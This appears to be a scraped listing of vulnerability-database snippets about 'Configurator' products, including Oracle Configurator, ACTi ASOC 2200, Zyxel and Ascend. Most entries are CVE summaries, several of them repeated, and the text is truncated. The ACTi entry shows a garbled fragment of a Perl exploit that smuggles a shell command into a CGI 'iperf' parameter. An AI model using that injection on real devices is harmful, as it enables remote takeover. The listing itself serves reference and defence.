ACTi ASOC 2200 Web Configurator 2.6 Remote Root Command Execution

!perl ACTi ASOC 2200 Web Configurator + ACTi ASOC 2200 Web Configurator \n"; exit; if! $ARGV1 $cmd = "id"; my $result = get"http://$host/cgi-bin/test?iperf=;$cmd &"; if defined $result print " $cmd\n $result"; else print "- Not Vulnerable\n";...

ACTi ASOC 2200 Web Configurator 2.6 - Remote Command Execution

ACTi ASOC 2200 Web Configurator 2.6 - Remote Command Execution !perl ACTi ASOC 2200 Web Configurator + ACTi ASOC 2200 Web Configurator \n"; exit; if! $ARGV1 $cmd = "id"; my $result = get"http://$host/cgi-bin/test?iperf=;$cmd &"; if defined $result print " $cmd\n $result"; else print "- Not...

zyxel-xss.txt

Affected Software/Device: Zyxel ZYWall 100 Vulnerability: Cross Site Scripting Risk: Low Description: The ZyWALL 100 is designed to act as a secure gateway via xDSL/Cable modems or broadband routers for small to medium size companies. The ZyWALL 100 features an ICSA certified firewall, IPSec VPN...

Destar 0.2.2-5 - Arbitrary Add New User

!/usr/bin/python Exploit for destar 0.2.2-5, tested on Linux Debian Bug found and exploit coded by a non root user http://nonroot.blogspot.com Enero 2008 This is a PoC, please use it just for learning how to exploit something use: $python ./exploitcode.py required: urllib,urllib2 sys and re impor...

Design/Logic Flaw

Multiple unspecified vulnerabilities in Oracle E-Business Suite 11.5.10CU2 and 12.0.1 allow remote attackers to have an unknown impact via a Oracle Configurator APPS02, b Oracle iExpenses APPS03, c Oracle Application Object Library APPS09, and 1 APPS12, 2 APPS13, and 3 APPS14 in d Oracle Payables...

CVE-2007-3866

Multiple unspecified vulnerabilities in Oracle E-Business Suite 11.5.10CU2 and 12.0.1 allow remote attackers to have an unknown impact via a Oracle Configurator APPS02, b Oracle iExpenses APPS03, c Oracle Application Object Library APPS09, and 1 APPS12, 2 APPS13, and 3 APPS14 in d Oracle Payables...

CVE-2007-3866

Multiple unspecified vulnerabilities in Oracle E-Business Suite 11.5.10CU2 and 12.0.1 allow remote attackers to have an unknown impact via a Oracle Configurator APPS02, b Oracle iExpenses APPS03, c Oracle Application Object Library APPS09, and 1 APPS12, 2 APPS13, and 3 APPS14 in d Oracle Payables...

CVE-2002-1639

Oracle Configurator before 11.5.7.17.32 and 11.5.6.16.53 allows remote attackers to obtain sensitive information via a request to the oracle.apps.cz.servlet.UiServlet servlet with the test parameter set to "version" or "host"...

CVE-2002-1640

Multiple cross-site scripting XSS vulnerabilities in Oracle Configurator before 11.5.7.17.32 and 11.5.6.16.53 allows remote attackers to inject arbitrary web script or HTML via 1 Text Features in the DHTML UI or 2 the test parameter to the oracle.apps.cz.servlet.UiServlet servlet...

CVE-2002-1639

Oracle Configurator prior to 11.5.7.17.32 and 11.5.6.16.53 is vulnerable to a remote information-disclosure via the oracle.apps.cz.servlet.UiServlet servlet when the test parameter is set to “version” or “host,” allowing access to sensitive information. The underlying issue is a server-side infor...

CVE-2002-1640

Affected software: Oracle Configurator. Vulnerable versions: before 11.5.7.17.32 and 11.5.6.16.53. The vulnerability is a cross-site scripting (XSS) flaw that allows remote attackers to inject arbitrary web script or HTML. Affected components: Text Features in the DHTML UI and the test parameter ...

Oracle Configurator discloses version and host information via "test" argument passed to servlet

Overview A servlet component of Oracle Configurator may post sensitive version and host information to any Web user that makes a crafted request to the server. Description Oracle Configurator is an Internet application used to configure Oracle Application and Database Servers. If a user sends a...

CVE-2002-1640

Multiple cross-site scripting XSS vulnerabilities in Oracle Configurator before 11.5.7.17.32 and 11.5.6.16.53 allows remote attackers to inject arbitrary web script or HTML via 1 Text Features in the DHTML UI or 2 the test parameter to the oracle.apps.cz.servlet.UiServlet servlet...

CVE-2002-1639

Oracle Configurator before 11.5.7.17.32 and 11.5.6.16.53 allows remote attackers to obtain sensitive information via a request to the oracle.apps.cz.servlet.UiServlet servlet with the test parameter set to "version" or "host"...

CVE-1999-1443

CVE-1999-1443 relates to Micah Software Full Armor Network Configurator and Zero Administration. Local attackers with physical access can bypass desktop protection via (1) initiating CTRL+ALT+DEL and terminating the process with Task Manager, (2) booting from an alternate disk, or (3) interruptin...

CVE-1999-1443

Micah Software Full Armor Network Configurator and Zero Administration allow local users with physical access to bypass the desktop protection by 1 using and kill the process using the task manager, 2 booting the system from a separate disk, or 3 interrupting certain processes that execute while...

CVE-1999-0943

CVE-1999-0943 affects OpenLink 3.2’s Web Configurator. The vulnerability is a buffer overflow triggered by a long GET request, allowing remote attackers to gain privileges. Exploitation is described as network-based with low complexity and no authentication, with potential for remote code executi...

CVE-1999-0060

CVE-1999-0060 affects Ascend MAX and Pipeline routers. A malformed UDP/packet to the discard port (used by the Java Configurator tool) can trigger a denial-of-service, with observed impact described as router crashes/reboots and degraded availability. The issue is documented across multiple sourc...

CVE-1999-0060

Attackers can cause a denial of service in Ascend MAX and Pipeline routers with a malformed packet to the discard port, which is used by the Java Configurator tool...

PT-1998-1018 · Ascend +1 · Ascend Max +2

Name of the Vulnerable Software and Affected Versions: Ascend MAX and Pipeline routers affected versions not specified Description: The issue allows attackers to cause a denial of service with a malformed packet to the discard port, which is used by the Java Configurator tool. Recommendations: At...